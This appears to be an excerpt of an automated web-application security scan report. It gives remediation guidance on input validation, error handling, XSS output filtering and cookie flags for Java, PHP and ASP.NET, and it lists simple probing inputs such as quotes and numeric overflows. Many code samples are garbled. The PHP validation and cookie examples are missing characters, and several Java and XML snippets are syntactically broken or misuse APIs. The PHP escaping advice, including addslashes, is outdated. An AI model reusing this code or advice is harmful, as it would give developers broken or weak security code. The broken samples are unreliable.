public Class ErrorMessageResource {

    // Returns the error message for the specified error key in the environment locale
    public String getErrorMessage(String errorKey) {
        return getErrorMessage(errorKey, defaultLocale);
    }
```

```
      // Returns the error message for the specified error key in the specified locale
      public String getErrorMessage(String errorKey, Locale locale) {
          return getErrorMessage(errorKey, null, locale);
      }

      // Returns a formatted error message for the specified error key in the specified locale
      public String getErrorMessage(String errorKey, Object[] args, Locale locale) {
          // Get localized ErrorMessageResource
          ResourceBundle errorMessageResource = ResourceBundle.getBundle("ErrorMessages", locale);
          // Get localized error message
          String errorMessage = errorMessageResource.getString(errorKey);
          if (args != null) {
              // Format the message using the specified placeholders args
              return MessageFormat.format(errorMessage, args);
          } else {
              return errorMessage;
          }
      }

      // default environment locale
      private Locale defaultLocale = Locale.getDefaultLocale();
  }
  ...
  // Get the user's locale
  Locale userLocale = request.getLocale();
  // Check if there were any validation errors
  Errors errors = (Errors)request.getAttribute("errors");
  if (errors != null && errors.hasErrors()) {
      // iterate through errors and output error messages corresponding to the "user_name"
property
      ArrayList userNameErrors = errors.getErrors("user_name");
      ListIterator iterator = userNameErrors.iterator();
      while (iterator.hasNext()) {
          // Get the next error object
          Error error = (Error)iterator.next();
          String errorMessage = ErrorMessageResource.getErrorMessage(error.getKey(), userLocale);
          output.write(errorMessage + "\r\n");
      }
  }
```

It is recommended to define a custom JSP tag, e.g. displayErrors, to iterate through and render error messages as shown in the above example.

[4] Error Mapping
Normally, the Servlet Container will return a default error page corresponding to either the response status code or the exception. A mapping between the status code or the exception and a web resource may be specified using custom error pages. It is a good practice to develop static error pages that do not disclose internal error states (by default, most Servlet containers will report internal error messages). This mapping is configured in the Web Deployment Descriptor (web.xml) as specified in the following example:

```
  <!-- Mapping of HTTP error codes and application exceptions to error pages -->
  <error-page>
    <exception-type>UserValidationException</exception-type>
    <location>/errors/validationError.html</error-page>
  </error-page>
  <error-page>
    <error-code>500</exception-type>
    <location>/errors/internalError.html</error-page>
  </error-page>
  <error-page>
  ...
  </error-page>
  ...
```

RECOMMENDED JAVA TOOLS
The two main Java frameworks for server-side validation are:
[1] Jakarta Commons Validator (integrated with Struts 1.1)
The Jakarta Commons Validator is a Java framework that defines the error handling mechanism as described above. Validation rules are configured in an XML file that defines input validation rules for form fields and the corresponding validation error keys. Struts provides internationalization support to build localized applications using resource bundles and message formatting.

Example to validate the userName field of a loginForm using Struts Validator:

```
  <form-validation>
      <global>
          ...
          <validator name="required"
              classname="org.apache.struts.validator.FieldChecks"
              method="validateRequired"
              msg="errors.required">
          </validator>
          <validator name="mask"
              classname="org.apache.struts.validator.FieldChecks"
              method="validateMask"
```

```
            msg="errors.invalid">
        </validator>
        ...
    </global>
    <formset>
        <form name="loginForm">
            <!-- userName is required and is alpha-numeric case insensitive -->
            <field property="userName" depends="required,mask">
                <!-- message resource key to display if validation fails -->
                <msg name="mask" key="login.userName.maskmsg"/>
                <arg0 key="login.userName.displayname"/>
                <var>
                    <var-name>mask</var-name>
                    <var-value>^[a-zA-Z0-9]*$</var-value>
                </var>
            </field>
        ...
        </form>
        ...
    </formset>
</form-validation>
```

The Struts JSP tag library defines the "errors" tag that conditionally displays a set of accumulated error messages as shown in the following example:

```
<%@ page language="java" %>
<%@ taglib uri="/WEB-INF/struts-html.tld" prefix="html" %>
<%@ taglib uri="/WEB-INF/struts-bean.tld" prefix="bean" %>
<html:html>
<head>
<body>
    <html:form action="/logon.do">
    <table border="0" width="100%">
    <tr>
        <th align="right">
            <html:errors property="username"/>
            <bean:message key="prompt.username"/>
        </th>
        <td align="left">
            <html:text property="username" size="16"/>
        </td>
    </tr>
    <tr>
    <td align="right">
        <html:submit><bean:message key="button.submit"/></html:submit>
    </td>
    <td align="right">
        <html:reset><bean:message key="button.reset"/></html:reset>
    </td>
    </tr>
    </table>
    </html:form>
</body>
</html:html>
```

[2] JavaServer Faces Technology
JavaServer Faces Technology is a set of Java APIs (JSR 127) to represent UI components, manage their state, handle events, validate input, and support internationalization.

The JavaServer Faces API defines the "output_errors" UIOutput Renderer, which displays error messages for an entire page or error messages associated with a specified client identifier.

Example to validate the userName field of a loginForm using JavaServer Faces:

```
<%@ taglib uri="http://java.sun.com/jsf/html" prefix="h" %>
<%@ taglib uri="http://java.sun.com/jsf/core" prefix="f" %>
...
<jsp:useBean id="UserBean"
    class="myApplication.UserBean" scope="session" />
<f:use_faces>
  <h:form formName="loginForm" >
    <h:input_text id="userName" size="20" modelReference="UserBean.userName">
        <f:validate_required/>
        <f:validate_length minimum="8" maximum="20"/>
    </h:input_text>
    <!-- display errors if present -->
    <h:output_errors id="loginErrors" clientId="userName"/>
    <h:command_button id="submit" label="Submit" commandName="submit" /><p>
  </h:form>
</f:use faces>
```

REFERENCES
Java API 1.3 -
http://java.sun.com/j2se/1.3/docs/api/
Java API 1.4 -

http://java.sun.com/j2se/1.4/docs/api/
Java Servlet API 2.3 -
http://java.sun.com/products/servlet/2.3/javadoc/
Java Regular Expression Package -
http://jakarta.apache.org/regexp/
Jakarta Validator -
http://jakarta.apache.org/commons/validator/
JavaServer Faces Technology -
http://java.sun.com/j2ee/javaserverfaces/

## Fix Recommendation - PHP

** Filter User Input

Before passing any data to a SQL query, it should always be properly filtered with whitelisting techniques. This cannot be over-emphasized. Filtering user input will correct many injection flaws before they arrive at the database.

** Quote User Input

Regardless of data type, it is always a good idea to place single quotes around all user data if this is permitted by the database. MySQL allows this formatting technique.

** Escape the Data Values

If you're using MySQL 4.3.0 or newer, you should escape all strings with mysql_real_escape_string(). If you are using an older version of MySQL, you should use the mysql_escape_string() function. If you are not using MySQL, you might choose to use the specific escaping function for your particular database. If you are not aware of an escaping function, you might choose to utilize a more generic escaping function such as addslashes().

If you're using the PEAR DB database abstraction layer, you can use the DB::quote() method or use a query placeholder like ?, which automatically escapes the value that replaces the placeholder.

REFERENCES

http://ca3.php.net/mysql_real_escape_string

http://ca.php.net/mysql_escape_string

http://ca.php.net/addslashes

http://pear.php.net/package-info.php?package=DB

** Input Data Validation:

While data validations may be provided as a user convenience on the client-tier, data validation must always be performed on the server-tier. Client-side validations are inherently insecure because they can be easily bypassed, e.g. by disabling Javascript.

A good design usually requires the web application framework to provide server-side utility routines to validate the following:
[1] Required field
[2] Field data type (all HTTP request parameters are Strings by default)
[3] Field length
[4] Field range
[5] Field options
[6] Field pattern
[7] Cookie values
[8] HTTP Response

A good practice is to implement a function or functions that validates each application parameter. The following sections describe some example checking.

[1] Required field
Always check that the field is not null and its length is greater than zero, excluding leading and trailing white spaces.

Example of how to validate required fields:

```
  // PHP example to validate required fields
input) {
      ...
ass = false;
input))>0){
ass = true;
      }
ass;
      ...
  }
  ...
fieldName)) {
      // fieldName is valid, continue processing request
      ...
  }
```

[2] Field data type
In web applications, input parameters are poorly typed. For example, all HTTP request parameters or cookie values are of type

String. The developer is responsible for verifying the input is of the correct data type.

[3] Field length
Always ensure that the input parameter (whether HTTP request parameter or cookie value) is bounded by a minimum length and/or a maximum length.

[4] Field range
Always ensure that the input parameter is within a range as defined by the functional requirements.

[5] Field options
Often, the web application presents the user with a set of options to choose from, e.g. using the SELECT HTML tag, but fails to perform server-side validation to ensure that the selected value is one of the allowed options. Remember that a malicious user can easily modify any option value. Always validate the selected user value against the allowed options as defined by the functional requirements.

[6] Field pattern
Always check that user input matches a pattern as defined by the functionality requirements. For example, if the userName field should only allow alpha-numeric characters, case insensitive, then use the following regular expression:
^[a-zA-Z0-9]+$

[7] Cookie value
The same validation rules (described above) apply to cookie values depending on the application requirements, e.g. validate a required value, validate length, etc.

[8] HTTP Response

[8-1] Filter user input
To guard the application against cross-site scripting, the developer should sanitize HTML by converting sensitive characters to their corresponding character entities. These are the HTML sensitive characters:
< > " ' % ; ) ( & +

PHP includes some automatic sanitization utility functions, such as htmlentities():

```
$input = htmlentities($input, ENT QUOTES, 'UTF-8');
```

In addition, in order to avoid UTF-7 variants of Cross-site Scripting, you should explicitly define the Content-Type header of the response, for example:

```
<?php

header('Content-Type: text/html; charset=UTF-8');

?>
```

[8-2] Secure the cookie

When storing sensitive data in a cookie and transporting it over SSL, make sure that you first set the secure flag of the cookie in the HTTP response. This will instruct the browser to only use that cookie over SSL connections.

You can use the following code example, for securing the cookie:

```
<$php

value = "some_value";
time = time()+3600;
ath = "/application/";
domain = ".example.com";
secure = 1;

secure, TRUE);
?>
```

In addition, we recommend that you use the HttpOnly flag. When the HttpOnly flag is set to TRUE the cookie will be made accessible only through the HTTP protocol. This means that the cookie won't be accessible by scripting languages, such as JavaScript. This setting can effectively help to reduce identity theft through XSS attacks (although it is not supported by all browsers).

The HttpOnly flag was Added in PHP 5.2.0.

REFERENCES

[1] Mitigating Cross-site Scripting With HTTP-only Cookies:
http://msdn2.microsoft.com/en-us/library/ms533046.aspx
[2] PHP Security Consortium:
http://phpsec.org/
[3] PHP & Web Application Security Blog (Chris Shiflett):
http://shiflett.org/

## References and Relevant Links

"Web Application Disassembly with ODBC Error Messages" (By David Litchfield)
SQL Injection Training Module

# HTML Comments Sensitive Information Disclosure

## Application

## WASC Threat Classification

Information Leakage
http://projects.webappsec.org/Information-Leakage

## Security Risks

It is possible to gather sensitive information about the web application such as usernames, passwords, machine name and/or sensitive file locations

## Possible Causes

Debugging information was left by the programmer in web pages

## Technical Description

Many web application programmers use HTML comments to help debug the application when needed. While adding general comments is very useful, some programmers tend to leave important data, such as: filenames related to the web application, old links or links which were not meant to be browsed by users, old code fragments, etc. An attacker who finds these comments can map the application's structure and files, expose hidden parts of the site, and study the fragments of code to reverse engineer the application, which may help develop further attacks against the site.

## Fix Recommendation - General

[1] Do not leave any vital information such as filenames or file paths in HTML comments.
[2] Remove traces of previous (or future) site links in the production site comments.
[3] Avoid placing sensitive information in HTML comments.
[4] Make sure that HTML comments do not include source code fragments.
[5] Make sure that no vital information was left behind by programmers.

## References and Relevant Links

WASC Threat Classification: Information Leakage

# Application Error

## Application

## WASC Threat Classification

Information Leakage
http://projects.webappsec.org/Information-Leakage

## Security Risks

It is possible to gather sensitive debugging information

## Possible Causes

Proper bounds checking were not performed on incoming parameter values
No validation was done in order to make sure that user input matches the data type expected

## Technical Description

If an attacker probes the application by forging a request that contains parameters or parameter values other than the ones expected by the application (examples are listed below), the application may enter an undefined state that makes it vulnerable to attack. The attacker can gain useful information from the application's response to this request, which information may be exploited to locate application weaknesses.
For example, if the parameter field should be an apostrophe-quoted string (e.g. in an ASP script or SQL query), the injected apostrophe symbol will prematurely terminate the string stream, thus changing the normal flow/syntax of the script.
Another cause of vital information being revealed in error messages, is when the scripting engine, web server, or database are misconfigured.

Here are some different variants:
[1] Remove parameter
[2] Remove parameter value
[3] Set parameter value to null
[4] Set parameter value to a numeric overflow (+/- 99999999)
[5] Set parameter value to hazardous characters, such as ' " \' \" ) ;
[6] Append some string to a numeric parameter value
[7] Append "." (dot) or "[]" (angle brackets) to the parameter name

## Fix Recommendation - General

[1] Check incoming requests for the presence of all expected parameters and values. When a parameter is missing, issue a proper error message or use default values.
[2] The application should verify that its input consists of valid characters (after decoding). For example, an input value containing the null byte (encoded as %00), apostrophe, quotes, etc. should be rejected.
[3] Enforce values in their expected ranges and types. If your application expects a certain parameter to have a value from a certain set, then the application should ensure that the value it receives indeed belongs to the set. For example, if your application expects a value in the range 10..99, then it should make sure that the value is indeed numeric, and that its value is in 10..99.
[4] Verify that the data belongs to the set offered to the client.
[5] Do not output debugging error messages and exceptions in a production environment.

## Fix Recommendation - ASP.NET

In order to disable debugging in ASP.NET, edit your web.config file to contain the following:

```
<compilation
   debug="false"
/>
```

For more information, see "HOW TO: Disable Debugging for ASP.NET Applications" in:
http://support.microsoft.com/default.aspx?scid=kb;en-us;815157

You can add input validation to Web Forms pages by using validation controls. Validation controls provide an easy-to-use mechanism for all common types of standard validation (for example, testing for valid dates or values within a range), plus ways to provide custom-written validation. In addition, validation controls allow you to completely customize how error information is displayed to the user. Validation controls can be used with any controls that are processed in a Web Forms page's class file, including both HTML and Web server controls.

To make sure that all the required parameters exist in a request, use the "RequiredFieldValidator" validation control. This control ensures that the user does not skip an entry in the web form.

To make sure user input contains only valid values, you can use one of the following validation controls:

[1] "RangeValidator": checks that a user's entry (value) is between specified lower and upper boundaries. You can check ranges within pairs of numbers, alphabetic characters, and dates.

[2] "RegularExpressionValidator": checks that the entry matches a pattern defined by a regular expression. This type of validation allows you to check for predictable sequences of characters, such as those in social security numbers, e-mail addresses, telephone numbers, postal codes, and so on.

Important note: validation controls do not block user input or change the flow of page processing; they only set an error state, and produce error messages. It is the programmer's responsibility to test the state of the controls in the code before performing further application-specific actions.

There are two ways to check for user input validity:

1. Test for a general error state:

In your code, test the page's IsValid property. This property rolls up the values of the IsValid properties of all the validation controls on the page (using a logical AND). If one of the validation controls is set to invalid, the page's property will return false.

2. Test for the error state of individual controls:

Loop through the page's Validators collection, which contains references to all the validation controls. You can then examine the IsValid property of each validation control.

## Fix Recommendation - J2EE

** Input Data Validation:

While data validations may be provided as a user convenience on the client-tier, data validation must be performed on the server-tier using Servlets. Client-side validations are inherently insecure because they can be easily bypassed, e.g. by disabling Javascript.

A good design usually requires the web application framework to provide server-side utility routines to validate the following:
[1] Required field
[2] Field data type (all HTTP request parameters are Strings by default)
[3] Field length
[4] Field range
[5] Field options
[6] Field pattern
[7] Cookie values
[8] HTTP Response

A good practice is to implement the above routine as static methods in a "Validator" utility class. The following sections describe an example validator class.

[1] Required field
Always check that the field is not null and its length is greater than zero, excluding leading and trailing white spaces.

Example of how to validate required fields:

```
// Java example to validate required fields
public Class Validator {
    ...
    public static boolean validateRequired(String value) {
        boolean isFieldValid = false;
        if (value != null && value.trim().length() > 0) {
            isFieldValid = true;
        }
        return isFieldValid;
    }
    ...
}
...
String fieldValue = request.getParameter("fieldName");
if (Validator.validateRequired(fieldValue)) {
    // fieldValue is valid, continue processing request
    ...
}
```

[2] Field data type
In web applications, input parameters are poorly typed. For example, all HTTP request parameters or cookie values are of type String. The developer is responsible for verifying the input is of the correct data type. Use the Java primitive wrapper classes to check if the field value can be safely converted to the desired primitive data type.

Example of how to validate a numeric field (type int):

```
// Java example to validate that a field is an int number
public Class Validator {
    ...
    public static boolean validateInt(String value) {
        boolean isFieldValid = false;
        try {
            Integer.parseInt(value);
            isFieldValid = true;
        } catch (Exception e) {
            isFieldValid = false;
        }
        return isFieldValid;
    }
    ...
}
...
// check if the HTTP request parameter is of type int
String fieldValue = request.getParameter("fieldName");
if (Validator.validateInt(fieldValue)) {
    // fieldValue is valid, continue processing request
    ...
}
```

A good practice is to convert all HTTP request parameters to their respective data types. For example, store the "integerValue" of a request parameter in a request attribute and use it as shown in the following example:

```
// Example to convert the HTTP request parameter to a primitive wrapper data type
// and store this value in a request attribute for further processing
String fieldValue = request.getParameter("fieldName");
if (Validator.validateInt(fieldValue)) {
    // convert fieldValue to an Integer
    Integer integerValue = Integer.getInteger(fieldValue);
    // store integerValue in a request attribute
    request.setAttribute("fieldName", integerValue);
}
...
// Use the request attribute for further processing
Integer integerValue = (Integer)request.getAttribute("fieldName");
...
```

The primary Java data types that the application should handle:
- Byte
- Short
- Integer
- Long
- Float
- Double
- Date

[3] Field length
Always ensure that the input parameter (whether HTTP request parameter or cookie value) is bounded by a minimum length and/or a maximum length.

Example to validate that the length of the userName field is between 8 and 20 characters:

```
// Example to validate the field length
public Class Validator {
    ...
    public static boolean validateLength(String value, int minLength, int maxLength) {
        String validatedValue = value;
        if (!validateRequired(value)) {
            validatedValue = "";
        }
        return (validatedValue.length() >= minLength &&
                    validatedValue.length() <= maxLength);
    }
    ...
}
...
String userName = request.getParameter("userName");
if (Validator.validateRequired(userName)) {
    if (Validator.validateLength(userName, 8, 20)) {
        // userName is valid, continue further processing
        ...
    }
}
```

[4] Field range
Always ensure that the input parameter is within a range as defined by the functional requirements.

Example to validate that the input numberOfChoices is between 10 and 20:

```
// Example to validate the field range
public Class Validator {
    ...
    public static boolean validateRange(int value, int min, int max) {
        return (value >= min && value <= max);
    }
    ...
}
...
String fieldValue = request.getParameter("numberOfChoices");
if (Validator.validateRequired(fieldValue)) {
    if (Validator.validateInt(fieldValue)) {
        int numberOfChoices = Integer.parseInt(fieldValue);
        if (Validator.validateRange(numberOfChoices, 10, 20)) {
            // numberOfChoices is valid, continue processing request
            ...
        }
    }
}
```

[5] Field options
Often, the web application presents the user with a set of options to choose from, e.g. using the SELECT HTML tag, but fails to perform server-side validation to ensure that the selected value is one of the allowed options. Remember that a malicious user can easily modify any option value. Always validate the selected user value against the allowed options as defined by the functional requirements.

Example to validate the user selection against a list of allowed options:

```
// Example to validate user selection against a list of options
public Class Validator {
    ...
    public static boolean validateOption(Object[] options, Object value) {
        boolean isValidValue = false;
        try {
            List list = Arrays.asList(options);
            if (list != null) {
                isValidValue = list.contains(value);
            }
        } catch (Exception e) {
        }
        return isValidValue;
    }
    ...
}
...
// Allowed options
String[] options = {"option1", "option2", "option3");
// Verify that the user selection is one of the allowed options
String userSelection = request.getParameter("userSelection");
if (Validator.validateOption(options, userSelection)) {
    // valid user selection, continue processing request
    ...
}
```

[6] Field pattern
Always check that the user input matches a pattern as defined by the functionality requirements. For example, if the userName field should only allow alpha-numeric characters, case insensitive, then use the following regular expression:
^[a-zA-Z0-9]*$

Java 1.3 or earlier versions do not include any regular expression packages. Apache Regular Expression Package (see Resources below) is recommended for use with Java 1.3 to resolve this lack of support.
Example to perform regular expression validation:

```
// Example to validate that a given value matches a specified pattern
// using the Apache regular expression package
import org.apache.regexp.RE;
import org.apache.regexp.RESyntaxException;
public Class Validator {
    ...
    public static boolean matchPattern(String value, String expression) {
        boolean match = false;
        if (validateRequired(expression)) {
             RE r = new RE(expression);
             match = r.match(value);
        }
        return match;
    }
    ...
}
...
// Verify that the userName request parameter is alpha-numeric
String userName = request.getParameter("userName");
if (Validator.matchPattern(userName, "^[a-zA-Z0-9]*$")) {
    // userName is valid, continue processing request
    ...
}
```

Java 1.4 introduced a new regular expression package (java.util.regex). Here is a modified version of Validator.matchPattern using the new Java 1.4 regular expression package:

```
// Example to validate that a given value matches a specified pattern
// using the Java 1.4 regular expression package
import java.util.regex.Pattern;
import java.util.regexe.Matcher;
public Class Validator {
    ...
    public static boolean matchPattern(String value, String expression) {
        boolean match = false;
        if (validateRequired(expression)) {
            match = Pattern.matches(expression, value);
        }
        return match;
    }
    ...
}
```

[7] Cookie value
Use the javax.servlet.http.Cookie object to validate the cookie value. The same validation rules (described above) apply to cookie values depending on the application requirements, e.g. validate a required value, validate length, etc.

Example to validate a required cookie value:

```
// Example to validate a required cookie value
// First retrieve all available cookies submitted in the HTTP request
Cookie[] cookies = request.getCookies();
if (cookies != null) {
    // find the "user" cookie
    for (int i=0; i<cookies.length; ++i) {
        if (cookies[i].getName().equals("user")) {
            // validate the cookie value
            if (Validator.validateRequired(cookies[i].getValue()) {
                // valid cookie value, continue processing request
                ...
            }
        }
    }
}
```

[8] HTTP Response
[8-1] Filter user input
To guard the application against cross-site scripting, sanitize HTML by converting sensitive characters to their corresponding character entities. These are the HTML sensitive characters:
< > " ' % ; ) ( & +

Example to filter a specified string by converting sensitive characters to their corresponding character entities:

```
// Example to filter sensitive data to prevent cross-site scripting
public Class Validator {
    ...
    public static String filter(String value) {
        if (value == null) {
            return null;
        }
        StringBuffer result = new StringBuffer(value.length());
        for (int i=0; i<value.length(); ++i) {
            switch (value.charAt(i)) {
            case '<':
                result.append("&lt;");
                break;
            case '>':
                result.append("&gt;");
                break;
            case '"':
                result.append("&quot;");
                break;
            case '\'':
                result.append("&#39;");
                break;
            case '%':
                result.append("&#37;");
                break;
            case ';':
                result.append("&#59;");
                break;
            case '(':
                result.append("&#40;");
                break;
            case ')':
                result.append("&#41;");
                break;
            case '&':
                result.append("&amp;");
                break;
            case '+':
                result.append("&#43;");
                break;
            default:
                result.append(value.charAt(i));
                break;
            }
        return result;
    }
    ...
}
...
// Filter the HTTP response using Validator.filter
PrintWriter out = response.getWriter();
// set output response
out.write(Validator.filter(response));
out.close();
```

The Java Servlet API 2.3 introduced Filters, which supports the interception and transformation of HTTP requests or responses.

Example of using a Servlet Filter to sanitize the response using Validator.filter:

```
  // Example to filter all sensitive characters in the HTTP response using a Java Filter.
  // This example is for illustration purposes since it will filter all content in the response,
including HTML tags!
  public class SensitiveCharsFilter implements Filter {
      ...
      public void doFilter(ServletRequest request,
                      ServletResponse response,
                      FilterChain chain)
              throws IOException, ServletException {

          PrintWriter out = response.getWriter();
          ResponseWrapper wrapper = new ResponseWrapper((HttpServletResponse)response);
          chain.doFilter(request, wrapper);

          CharArrayWriter caw = new CharArrayWriter();
          caw.write(Validator.filter(wrapper.toString()));

          response.setContentType("text/html");
          response.setContentLength(caw.toString().length());
          out.write(caw.toString());
          out.close();
      }
      ...
      public class CharResponseWrapper extends HttpServletResponseWrapper {
          private CharArrayWriter output;

          public String toString() {
              return output.toString();
          }

          public CharResponseWrapper(HttpServletResponse response){
              super(response);
              output = new CharArrayWriter();
          }

          public PrintWriter getWriter(){
              return new PrintWriter(output);
          }
      }
  }

  }
```

[8-2] Secure the cookie
When storing sensitive data in a cookie, make sure to set the secure flag of the cookie in the HTTP response, using Cookie.setSecure(boolean flag) to instruct the browser to send the cookie using a secure protocol, such as HTTPS or SSL.

Example to secure the "user" cookie:

```
  // Example to secure a cookie, i.e. instruct the browser to
  // send the cookie using a secure protocol
  Cookie cookie = new Cookie("user", "sensitive");
  cookie.setSecure(true);
  response.addCookie(cookie);
```

RECOMMENDED JAVA TOOLS
The two main Java frameworks for server-side validation are:
[1] Jakarta Commons Validator (integrated with Struts 1.1)
The Jakarta Commons Validator is a powerful framework that implements all the above data validation requirements. These rules are configured in an XML file that defines input validation rules for form fields. Struts supports output filtering of dangerous characters in the [8] HTTP Response by default on all data written using the Struts 'bean:write' tag. This filtering may be disabled by setting the 'filter=false' flag.

Struts defines the following basic input validators, but custom validators may also be defined:
required: succeeds if the field contains any characters other than white space.
mask: succeeds if the value matches the regular expression given by the mask attribute.
range: succeeds if the value is within the values given by the min and max attributes ((value >= min) & (value <= max)).
maxLength: succeeds if the field is length is less than or equal to the max attribute.
minLength: succeeds if the field is length is greater than or equal to the min attribute.
byte, short, integer, long, float, double: succeeds if the value can be converted to the corresponding primitive.
date: succeeds if the value represents a valid date. A date pattern may be provided.
creditCard: succeeds if the value could be a valid credit card number.
e-mail: succeeds if the value could be a valid e-mail address.

Example to validate the userName field of a loginForm using Struts Validator:

```
  <form-validation>
      <global>
          ...
          <validator name="required"
              classname="org.apache.struts.validator.FieldChecks"
              method="validateRequired"
              msg="errors.required">
```

```
            </validator>
            <validator name="mask"
                classname="org.apache.struts.validator.FieldChecks"
                method="validateMask"
                msg="errors.invalid">
            </validator>
            ...
        </global>
        <formset>
            <form name="loginForm">
                <!-- userName is required and is alpha-numeric case insensitive -->
                <field property="userName" depends="required,mask">
                    <!-- message resource key to display if validation fails -->
                    <msg name="mask" key="login.userName.maskmsg"/>
                    <arg0 key="login.userName.displayname"/>
                    <var>
                        <var-name>mask</var-name>
                        <var-value>^[a-zA-Z0-9]*$</var-value>
                    </var>
                </field>
            ...
            </form>
            ...
        </formset>
    </form-validation>
```

[2] JavaServer Faces Technology
JavaServer Faces Technology is a set of Java APIs (JSR 127) to represent UI components, manage their state, handle events and input validation.

The JavaServer Faces API implements the following basic validators, but custom validators may be defined:
validate_doublerange: registers a DoubleRangeValidator on a component
validate_length: registers a LengthValidator on a component
validate_longrange: registers a LongRangeValidator on a component
validate_required: registers a RequiredValidator on a component
validate_stringrange: registers a StringRangeValidator on a component
validator: registers a custom Validator on a component

The JavaServer Faces API defines the following UIInput and UIOutput Renderers (Tags):
input_date: accepts a java.util.Date formatted with a java.text.Date instance
output_date: displays a java.util.Date formatted with a java.text.Date instance
input_datetime: accepts a java.util.Date formatted with a java.text.DateTime instance
output_datetime: displays a java.util.Date formatted with a java.text.DateTime instance
input_number: displays a numeric data type (java.lang.Number or primitive), formatted with a java.text.NumberFormat
output_number: displays a numeric data type (java.lang.Number or primitive), formatted with a java.text.NumberFormat
input_text: accepts a text string of one line.
output_text: displays a text string of one line.
input_time: accepts a java.util.Date, formatted with a java.text.DateFormat time instance
output_time: displays a java.util.Date, formatted with a java.text.DateFormat time instance
input_hidden: allows a page author to include a hidden variable in a page
input_secret: accepts one line of text with no spaces and displays it as a set of asterisks as it is typed
input_textarea: accepts multiple lines of text
output_errors: displays error messages for an entire page or error messages associated with a specified client identifier
output_label: displays a nested component as a label for a specified input field
output_message: displays a localized message

Example to validate the userName field of a loginForm using JavaServer Faces:

```
  <%@ taglib uri="http://java.sun.com/jsf/html" prefix="h" %>
  <%@ taglib uri="http://java.sun.com/jsf/core" prefix="f" %>
  ...
  <jsp:useBean id="UserBean"
      class="myApplication.UserBean" scope="session" />
  <f:use_faces>
    <h:form formName="loginForm" >
      <h:input_text id="userName" size="20" modelReference="UserBean.userName">
          <f:validate_required/>
          <f:validate_length minimum="8" maximum="20"/>
      </h:input_text>
      <!-- display errors if present -->
      <h:output_errors id="loginErrors" clientId="userName"/>
      <h:command_button id="submit" label="Submit" commandName="submit" /><p>
    </h:form>
  </f:use faces>
```

REFERENCES
Java API 1.3 -
http://java.sun.com/j2se/1.3/docs/api/
Java API 1.4 -
http://java.sun.com/j2se/1.4/docs/api/
Java Servlet API 2.3 -
http://java.sun.com/products/servlet/2.3/javadoc/
Java Regular Expression Package -
http://jakarta.apache.org/regexp/

Jakarta Validator -
http://jakarta.apache.org/commons/validator/
JavaServer Faces Technology -
http://java.sun.com/j2ee/javaserverfaces/

** Error Handling:

Many J2EE web application architectures follow the Model View Controller (MVC) pattern. In this pattern a Servlet acts as a Controller. A Servlet delegates the application processing to a JavaBean such as an EJB Session Bean (the Model). The Servlet then forwards the request to a JSP (View) to render the processing results. Servlets should check all input, output, return codes, error codes and known exceptions to ensure that the expected processing actually occurred.

While data validation protects applications against malicious data tampering, a sound error handling strategy is necessary to prevent the application from inadvertently disclosing internal error messages such as exception stack traces. A good error handling strategy addresses the following items:

[1] Defining Errors
[2] Reporting Errors
[3] Rendering Errors
[4] Error Mapping

[1] Defining Errors
Hard-coded error messages in the application layer (e.g. Servlets) should be avoided. Instead, the application should use error keys that map to known application failures. A good practice is to define error keys that map to validation rules for HTML form fields or other bean properties. For example, if the "user_name" field is required, is alphanumeric, and must be unique in the database, then the following error keys should be defined:

(a) ERROR_USERNAME_REQUIRED: this error key is used to display a message notifying the user that the "user_name" field is required;
(b) ERROR_USERNAME_ALPHANUMERIC: this error key is used to display a message notifying the user that the "user_name" field should be alphanumeric;
(c) ERROR_USERNAME_DUPLICATE: this error key is used to display a message notifying the user that the "user_name" value is a duplicate in the database;
(d) ERROR_USERNAME_INVALID: this error key is used to display a generic message notifying the user that the "user_name" value is invalid;

A good practice is to define the following framework Java classes which are used to store and report application errors:

- ErrorKeys: defines all error keys

```
// Example: ErrorKeys defining the following error keys:
//    - ERROR_USERNAME_REQUIRED
//    - ERROR_USERNAME_ALPHANUMERIC
//    - ERROR_USERNAME_DUPLICATE
//    - ERROR_USERNAME_INVALID
//    ...
public Class ErrorKeys {
    public static final String ERROR_USERNAME_REQUIRED = "error.username.required";
    public static final String ERROR_USERNAME_ALPHANUMERIC = "error.username.alphanumeric";
    public static final String ERROR_USERNAME_DUPLICATE = "error.username.duplicate";
    public static final String ERROR_USERNAME_INVALID = "error.username.invalid";
    ...
}
```

- Error: encapsulates an individual error

```
// Example: Error encapsulates an error key.
// Error is serializable to support code executing in multiple JVMs.
public Class Error implements Serializable {

    // Constructor given a specified error key
    public Error(String key) {
        this(key, null);
    }

    // Constructor given a specified error key and array of placeholder objects
    public Error(String key, Object[] values) {
        this.key = key;
        this.values = values;
    }

    // Returns the error key
    public String getKey() {
        return this.key;
    }

    // Returns the placeholder values
    public Object[] getValues() {
        return this.values;
    }

    private String key = null;
    private Object[] values = null;
}
```

- Errors: encapsulates a Collection of errors

```
// Example: Errors encapsulates the Error objects being reported to the presentation layer.
// Errors are stored in a HashMap where the key is the bean property name and value is an
// ArrayList of Error objects.
public Class Errors implements Serializable {

    // Adds an Error object to the Collection of errors for the specified bean property.
    public void addError(String property, Error error) {
        ArrayList propertyErrors = (ArrayList)errors.get(property);
        if (propertyErrors == null) {
            propertyErrors = new ArrayList();
            errors.put(property, propertyErrors);
        }
        propertyErrors.put(error);
    }

    // Returns true if there are any errors
    public boolean hasErrors() {
        return (errors.size > 0);
    }

    // Returns the Errors for the specified property
    public ArrayList getErrors(String property) {
        return (ArrayList)errors.get(property);
    }

    private HashMap errors = new HashMap();
}
```

Using the above framework classes, here is an example to process validation errors of the "user_name" field:

```
// Example to process validation errors of the "user_name" field.
Errors errors = new Errors();
String userName = request.getParameter("user_name");
// (a) Required validation rule
if (!Validator.validateRequired(userName)) {
    errors.addError("user_name", new Error(ErrorKeys.ERROR_USERNAME_REQUIRED));
} // (b) Alpha-numeric validation rule
else if (!Validator.matchPattern(userName, "^[a-zA-Z0-9]*$")) {
    errors.addError("user_name", new Error(ErrorKeys.ERROR_USERNAME_ALPHANUMERIC));
}
else
{
    // (c) Duplicate check validation rule
    // We assume that there is an existing UserValidationEJB session bean that implements
    // a checkIfDuplicate() method to verify if the user already exists in the database.
    try {
        ...
        if (UserValidationEJB.checkIfDuplicate(userName)) {
            errors.addError("user_name", new Error(ErrorKeys.ERROR_USERNAME_DUPLICATE));
        }
    } catch (RemoteException e) {
        // log the error
        logger.error("Could not validate user for specified userName: " + userName);
        errors.addError("user_name", new Error(ErrorKeys.ERROR_USERNAME_DUPLICATE);
    }
}
// set the errors object in a request attribute called "errors"
request.setAttribute("errors", errors);
...
```

[2] Reporting Errors
There are two ways to report web-tier application errors:
(a) Servlet Error Mechanism
